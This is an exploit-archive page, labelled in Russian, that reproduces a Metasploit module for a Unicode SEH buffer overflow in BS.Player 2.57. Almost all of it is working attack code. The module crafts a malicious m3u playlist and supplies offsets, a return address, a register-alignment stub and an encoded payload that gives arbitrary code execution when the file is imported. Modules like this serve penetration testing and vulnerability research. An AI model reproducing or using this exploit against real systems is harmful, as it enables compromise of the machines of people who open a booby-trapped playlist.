BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)

Свойства

Дата публикации:
16.01.2012
Цель:
BS.Player 2.57
Тип воздействия:
Компрометация системы

Код

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)',
            'Description'    => %q{
                    This module exploits a buffer overflow in BS.Player 2.57. When
                    the playlist import is used to import a specially crafted m3u file,
                    a buffer overflow occurs allowing arbitrary code execution.
            },
            'License'        => MSF_LICENSE,
            'Author'        =>
                [
                    'C4SS!0 G0M3S ', # Original Exploit
                    'Chris Gabriel', # MSF Module
                    #Greets: Corelan team for mona.py & awesome tutorials
                ],
            'References'    =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/15934/'; ]
                ],
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'process',
                    #'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform'    => 'win',
            'Payload'    =>
                {
                    'Space' => 2000,
                    'BadChars' => "\x00\x0a\x0d\x1a\x80",
                    'DisableNops' => true,
                    'StackAdjustment' => -3500,
                },

            'Targets'        =>
                [
                    [ 'Windows XP',
                        {
                            'Ret'       =>    "\x2f\x49",
                            'Offset'    =>    4102
                        }
                    ], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)
                    
                    [ 'Windows 7',
                        {
                            'Ret'       =>    "\x2f\x49",
                            'Offset'    =>    4102
                        }
                    ], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)
                ],
            'Privileged'    => false,
            'DisclosureDate'    => 'Jan 07 2010',
            'DefaultTarget'    => 0))

        register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),], self.class)

    end

    def exploit

        nseh = "\x61\x42"

        align   = "\x58"                # POP EAX
        align  += "\x6d"                # PAD
        align  += "\x58"                # POP EAX
        align  += "\x6d"                # PAD
        align  += "\x58"                # POP EAX
        align  += "\x6d"                # PAD
        align  += "\x58"                # POP EAX
        align  += "\x6d"                # PAD
        align  += "\x58"                # POP EAX
        align  += "\x6d"                # PAD
        align  += "\x58"                # POP EAX
        align  += "\x6d"                # PAD
        align  += "\x58"                # POP EAX
        align  += "\x6d"                # PAD
        align  += "\x58"                # POP EAX
        align  += "\x6d"                # PAD
        align  += "\x58"                # POP EAX
        align  += "\x6d"                # PAD
        align  += "\x58"                # POP EAX
        align  += "\x6d"                # PAD
        align  += "\x58"                # POP EAX
        align  += "\x6d"                # PAD
        align  += "\x58"                # POP EAX    
        align  += "\x6d"                # PAD
        align  += "\x58"                # POP EAX
        align  += "\x6d"                # PAD
        align  += "\x50"                # PUSH EAX
        align  += "\x6d"                # PAD
        align  += "\xc3"                # RET

        if target == targets[0] then
            padding = rand_text_alpha_lower(1879)
        elsif target == targets[1] then
            padding = rand_text_alpha_lower(1931)
        end

        enc = framework.encoders.create('x86/unicode_mixed')

        register_to_align_to = "EAX"

        enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })

        unicodepayload = enc.encode(payload.encoded, nil, nil, platform)
        
        buffer  = "http://";
        buffer << rand_text_alpha_lower(target['Offset'])
        buffer << nseh
        buffer << target['Ret']
        buffer << align
        buffer << padding
        buffer << unicodepayload

        file_create(buffer)

    end
end

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